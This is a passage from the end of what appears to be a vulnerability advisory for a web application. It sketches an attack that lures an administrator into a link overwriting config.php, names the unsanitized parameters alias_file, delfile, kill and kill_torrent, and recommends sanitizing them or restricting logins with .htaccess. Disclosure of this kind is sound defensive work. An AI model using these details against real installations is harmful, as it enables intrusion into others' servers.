Alternatively you could direct the administrator to a link which overwrites the config.php file, then catch the output on index.php somehow (be quick). Solution: ---------- Sanitize all variables listed above and below. alias_file delfile kill kill_torrent Solution 2: ----------- Set up .htaccess and only allow certain people to login until an offical patch is released. ---------------------------------------------------------------------------------------------- This has been another r0ut3r discovery (writ3r [ at ] gmail.com) ----------------------------------------------------------------------------------------------
